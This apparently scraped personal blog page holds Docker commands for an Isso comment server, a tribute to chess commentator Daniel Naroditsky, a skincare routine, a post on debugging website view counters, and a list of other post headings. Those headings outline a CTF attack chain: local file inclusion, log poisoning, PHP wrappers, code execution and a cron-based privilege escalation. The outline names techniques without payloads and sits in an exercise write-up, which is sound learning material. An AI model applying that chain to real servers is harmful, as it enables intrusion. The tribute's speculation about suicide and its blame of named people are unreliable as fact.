docker stop isso

Who/what stopped it (events)

docker events --since 24h --filter container=isso

Common config issue: duplicate options/sections If logs show DuplicateOptionError or DuplicateSectionError, fix /config/isso.cfg (remove duplicate [server] blocks or duplicate public-endpoint).

nl -ba /config/isso.cfg | sed -n '1,120p'
grep -n '^\[server\]' /config/isso.cfg
grep -n '^public-endpoint' /config/isso.cfg

Using Docker Compose (run these in the directory with your compose file)

docker compose ps
docker compose logs --tail=200 isso
docker compose up -d isso

If the container doesn’t exist (create/recreate)

docker image ls | grep -i isso

docker run -d   --name isso   -p 8080:8080   -v /srv/isso/config:/config   -v /srv/isso/db:/db   --restart unless-stopped   ghcr.io/posativ/isso:latest

Optional: exclude from auto-updaters (like Watchtower)

docker update --label-add com.centurylinklabs.watchtower.enable=false isso

This note is intentionally self-contained so I can paste it at the end of the blog post as a maintainer-only appendix.

Downloads: Markdown · Signature (.asc)

View OpenPGP signature

Danya

Tue, 21 Oct 2025 08:41:58 +0000

Daniel Naroditsky has passed away. I’ve never been a pro chess player, but I do follow some of the fun ones, and occasionally Magnus. I like Fabi a lot, but my all-time favorite is Hikaru. Danya was my favorite commentator. Someone who was so fun to watch explaining complex positions. I think he was indeed, if not the best, one of the best at it.

The occasion is grim. However, let’s remember the immense pressure he was under. Let’s remember how he was accused of cheating by Kramnik many, many times. By a former world champion. Someone who has accused many and has ruined their lives for no reason. The likes of Hikaru!

The problem is that Hikaru kind of went out of his way and cast doubt on Hans in the past. I don’t know how to relate to any of these now. I do think this is some stupid, sad consequence that these baseless accusations have. All players have their exceptionally good days, and many many bad days. These accusations make no sense.

I do think Danya went under so much pressure from these allegations, though. I don’t know if he ever cheated or not, but like, what’s the point now? He is gone. He’ll never be back.

I don’t know what the cause was, but I hope he didn’t take his own life. I don’t know how the world will ever forgive FIDE or Kramnik for this. This bullying in plain sight is just brutal.

Rest in peace, Danya. I don’t think the community ever forgets your amazing commentaries, and what a vibrant and nice character you were.

Downloads: Markdown · Signature (.asc)

View OpenPGP signature

Skin routine

Mon, 20 Oct 2025 18:47:04 +0000

I don’t know how to answer the “why?” or “whyyyyy?” or even “why the f***?” I have a skin routine. Last year, after I came to Germany, I asked a female friend about how to do skin care. She touched my face and said, “Knock on wood, you have good skin!”. So… idk why I decided to take extra care of my skin, but I did!

Generally speaking, things like this make me feel good about myself. Like I’m doing something positive while not being tortured! It’s always fun to rub cream on your face or gently massage it. Even cleaning the face skin feels refreshing. Everything also smells nice!

Oh… and yeah, idk why I’m not good at excercising, but I really like to do things like this! Weird. I should definitely start going to the gym and working out. It is needed for me.

So… I decided to watch a few Youtube videos, and a guide about skin care for men. My routine is super simple! I have a face cleanser that I use first and wash my face with it. It always feels refreshing and nice to use it! I initially bought the CeraVe cleaner, but switched to “Jack Black Pure Clean Daily Facial Cleanser” after that one ended. The cleanser deeply cleans your skin, and almost all of the bad things that might be on your skin. You don’t need to use the cleanser in the morning, but you should definitely use it at night. It’s ok to wash your face with water in the morning.

The next step for me is applying the toner. I use “NIVEA Derma Skin Clear Toner”. It smells really nice and is quite refreshing to apply to the skin! The toner adjusts the PH of your skin, and deep cleans things that the cleanser could not. I gently rub it and let it dry; no rinsing is required here.

After this, I apply an exfoliant to exfoliate my skin. I’ve been using “Paula’s Choice Skin Perfecting 2% BHA Liquid Exfoliant” so far, but this time I got “BULLDOG Original Exfoliating Face Scrub for Purer Skin”. Haven’t used it yet, but Paula’s choice one is definitely good. The thing with it is that you don’t have to massage it; it’s not physical; it’s an acid. I prefer the scrubby ones, but I think these are better for your skin. I’ll see how I like the new one, and if I prefer it or not. No rinsing is required here either.

I then apply my eye cream, which is also from CeraVe. Haven’t really seen much of a difference under my eyes, but it is supposed to help. I don’t know! It feels good to apply the eye cream regardless.

The next step for me is the best one! Moisturiser. Yayy!!! It actually feels weird to use a moisturiser since I’ve watched Mortuary Assisant’s gameplay, and the last step there for embalming the body is applying moisturiser. Feels weird. The one I use is water-based, hence perfect for men. I use “Neutrogena Hydro Boost Aqua Gel Moisturiser”. As a man, if you use oil-based products, you’ll get acne. So don’t.

I learned to use pads for applying some of these stuff, it feels cooler when applying the things to your face, and it specifically feels good when you gently tap your face with a cotton pad! ^^

And… last but not least is applying sun screen. Nothing special here. I just make sure to use SPF 50+ sunscreen for better protection.

Even if it does nothing, it still makes me feel good about myself.

The whole routine does not take more than 10 min, but gives me an energy boost and a lot of good vibes both at night and in the morning!

Downloads: Markdown · Signature (.asc)

View OpenPGP signature

A Tiny 'Views' Badge Sent Me Down a Rabbit Hole (PaperMod + Busuanzi + Debugging --> swapped with GoatCounter the GOAT)

Sat, 18 Oct 2025 10:45:00 +0000

I only wanted a tiny “views” badge next to my RSS link—just a friendly nudge that real humans were reading my words. PaperMod makes it easy to tuck little UI bits in the footer, so I dropped in Busuanzi (that neat, no-account page/site view counter) and called it a day.

The thing is, I don’t think the counter even works correctly. Or maybe I’m undermining my blog popularity! But regardless, it was a small stiching task that I did on this lovely Friday evening. The day before my next term of German class starts. The day before playing deadface CTF that I’ve been counting days for.

First I got the layout right. PaperMod supports extension partials, so I used a simple flex row to keep things side by side:

<div class="site-meta-row" style="display:flex;align-items:center;gap:.75rem;flex-wrap:wrap;">
  <a href="/index.xml" rel="alternate" type="application/rss+xml" title="RSS"
     class="rss-link" style="display:inline-flex;align-items:center;gap:.35rem;">
    { partial "svg.html" (dict "name" "rss") }
    <span>RSSspan>
  a>

  <span aria-hidden="true">·span>

  <span id="busuanzi_container_site_pv">
    Site views: <span id="busuanzi_value_site_pv">—span>
  span>
  <span aria-hidden="true">·span>
  <span id="busuanzi_container_site_uv">
    Visitors: <span id="busuanzi_value_site_uv">—span>
  span>
div>

So far, so good. The labels showed up. The numbers, though? Nothing. Just an em dash. I shrugged—maybe it was a caching thing.

The first round of checks

I added the script site‑wide in layouts/partials/extend_head.html:

<script src="//cdn.busuanzi.cc/busuanzi/3.6.9/busuanzi.min.js" defer>script>

Refreshed. Still blank.

DevTools time. Network tab: the script does load:

Request URL: https://cdn.busuanzi.cc/busuanzi/3.6.9/busuanzi.min.js
Request Method: GET
Status Code: 304 Not Modified
Referrer Policy: strict-origin-when-cross-origin
User-Agent: a normal Chromium build (nothing exotic)

No red flags. Just a perfectly normal 304.

Maybe my IDs were wrong? Busuanzi has a couple of flavors: busuanzi_value_* (with container wrappers) or shorthand like busuanzi_site_pv. I tried both, carefully, one at a time. Still… —.

The odd message

Then it flashed for a moment—the Chinese line that made me google twice to be sure I saw it right:

“域名过长，已被禁用 views”

That’s “domain name too long, disabled.” Wait, what?

I checked my hostname: blog.alipourimjourneys.ir. I counted: 27 characters. Busuanzi’s limit? 22. Suddenly, everything clicked. The script loads, but the service refuses to count for long domains, so the placeholders never fill.

Two ways out

At this point I had two clean options:

Keep Busuanzi and move the site to the apex domain (short enough).
Keep my beloved blog. subdomain and swap in Vercount, a Busuanzi‑style drop‑in without the 22‑char limit.

I liked the subdomain (habit, mostly), so I tried Vercount.

The swap (five-minute fix)

I removed the Busuanzi script and added Vercount instead:


<script defer src="https://events.vercount.one/js">script>

I kept the same tidy footer row, but switched the IDs to Vercount’s:

<div class="site-meta-row" style="display:flex;align-items:center;gap:.75rem;flex-wrap:wrap;">
  <a href="/index.xml" rel="alternate" type="application/rss+xml" title="RSS"
     class="rss-link" style="display:inline-flex;align-items:center;gap:.35rem;">
    { partial "svg.html" (dict "name" "rss") }
    <span>RSSspan>
  a>

  <span aria-hidden="true">·span>

  <span>Site views: <span id="vercount_value_site_pv">—span>span>
  <span aria-hidden="true">·span>
  <span>Visitors: <span id="vercount_value_site_uv">—span>span>
div>

For per‑post counts (in the post meta), I added:

<span id="vercount_value_page_pv">—span> views

Deploy. Refresh. Numbers.

But if you want to stay with Busuanzi…

If your apex domain is short enough, pointing the site there works fine. The gist:

Set baseURL in Hugo to the apex:

baseURL = "https://alipourimjourneys.ir/"

Add a 301 redirect from the long subdomain to the apex (Cloudflare, Netlify, Nginx—pick your tool).
Keep your Busuanzi spans as you had them; once the host fits the limit, they’ll populate.

Post‑mortem checklist (a.k.a. things I learned)

If the script loads but you get blanks, it’s not always IDs or caching. Sometimes it’s a service rule.
Busuanzi refuses long hostnames (>22 chars) and ignores localhost. On those hosts, the placeholders stay empty or show the Chinese “disabled” note.
Don’t mix providers on the same page. Load exactly one script (Busuanzi or Vercount).
CSP and blockers matter. If you run a strict Content‑Security‑Policy or heavy ad blockers, they can block the script. Test in a clean profile and allow the script origin.

Happy ending

Now my footer shows RSS, site views, and visitors on a single neat line, and each post has a tiny “views” chip that quietly ticks upward. I got the tiny badge I wanted—and a reminder that the smallest features can hide the most interesting puzzles.

If you hit the same wall, check the hostname length first. It might save you an afternoon—and lead you to a solution you’ll feel weirdly proud of.

Final notes

Yea… I just felt this feature was missing, and it’s good to have it there. I hope I stop adding things to the blog, and just keep writing in it. I’ve spent too much time on it, and it feels like wasted time.

Change of plans: Self‑hosting GoatCounter for PaperMod (Docker + Cloudflare + Onion)

This is the self‑host part I ended up with: Docker for GoatCounter, Cloudflare (orange‑cloud) in front, Nginx on the server as reverse proxy, plus my .onion mirror counting to the same GoatCounter site. Paste this whole section at the end of the post.

1) Clean up old counters (optional, once)

# From your Hugo site root
grep -RinE "busuanzi|vercount|vercount_value_|busuanzi_value_" .

Remove any matching

AlipourIm journeys

Self-hosting mail the hard way (Postfix + Dovecot + PostfixAdmin + Roundcube, and zero Mailcow)

Why I bothered

How email actually moves

The shape of my setup

Port 25 is for servers; port 587 is for people

What an “open relay” is, and why localhost lies to you

DNS, but make it human

The forward map (name → number)

Why Cloudflare’s orange cloud is not invited

PTR records: the phonebook in reverse

SPF, DKIM, and DMARC: three different questions

Building the unglamorous core

The Matrix certificate heist (that wasn’t a heist)

From Linux users to real mailboxes

Webmail without losing the plot

The bounce emails that taught me about identity

What “done” means for me

Links

June 2026

A TU Wien CTF where Sysops Klaus left the keys in the cron job

0) The lay of the land

1) Recon — documentation.md saves the day

2) LFI — include($_GET['page']) classic

3) pwreset — localhost-only, but LFI doesn’t care about nginx

4) RCE — PHP in userchange, included like a boss

5) Rabbit holes (aka “everything I tried before it worked”)

nginx log poisoning

data://, php://input, expect://

vim .swp files

Munin / apt_all plugin

pwreset log archaeology

Shell script injection into userchange

Brute-forcing the userchange consumer

Direct SSH password guessing

6) Privesc — world-writable cron script (peak Klaus)

7) SSH as www-data — because keys in the webroot are a mood

8) The password parts

9) Attack chain (one screen)

10) Replay script

11) Bonus: the intended log poisoning path

The hint is in index.php, not documentation.md

Intended technique

How I griefed myself

If you’re solving it now

12) TL;DR

Face of Rejection

April '26

H3ll0 Fr1end

Nextcloud on a Raspberry Pi, Fronted by a Tiny VPS — Nginx Reverse Proxy, Trusted Proxies, and Basic Auth for Jellyfin

0) Topology

1) What’s running on the Pi?

2) Tailscale: the private wire between VPS and Pi

3) Nginx on the VPS: reverse proxy blocks

3.1 Nextcloud vhost (VPS → Pi via Tailscale)

3.2 Jellyfin vhost (with Basic Auth)

4) Creating the Basic Auth password file

Notes on clients

5) Nextcloud: configure it to behave behind the reverse proxy

5.1 trusted_domains

5.2 trusted_proxies

5.3 overwritehost / overwriteprotocol / overwrite.cli.url

5.4 forwarded_for_headers (optional, but often helpful)

6) Sanity checks (curl is your friend)

7) “Do I really need Cloudflare Access / WARP?”

The honest answer

“Can I skip Cloudflare Access?”

8) Cloudflare Access: One-time PIN not arriving + passkeys

8.1 One-time PIN email didn’t arrive

8.2 Can I use passkeys / Apple / Google?

9) Hardening checklist (tiny but effective)

10) TL;DR

Blackout

Running Anti‑Censorship Infrastructure at Home (Raspberry Pi, server, whatever)

The philosophy: don’t be a public server, be a volunteer node

What you need (one time)

Conduit: quietly helping Psiphon users (Docker)

The file: /srv/conduit/docker-compose.yml

Snowflake: Tor, but even quieter (Docker Compose)

The file: /srv/snowflake/docker-compose.yml

2) LFI — `include($_GET['page'])` classic

4) RCE — PHP in `userchange`, included like a boss

`data://`, `php://input`, `expect://`

vim `.swp` files

Munin / `apt_all` plugin

Shell script injection into `userchange`

Brute-forcing the `userchange` consumer

7) SSH as `www-data` — because keys in the webroot are a mood

The hint is in `index.php`, not `documentation.md`

The file: `/srv/conduit/docker-compose.yml`

The file: `/srv/snowflake/docker-compose.yml`

The file: `/etc/systemd/system/unbounded.service`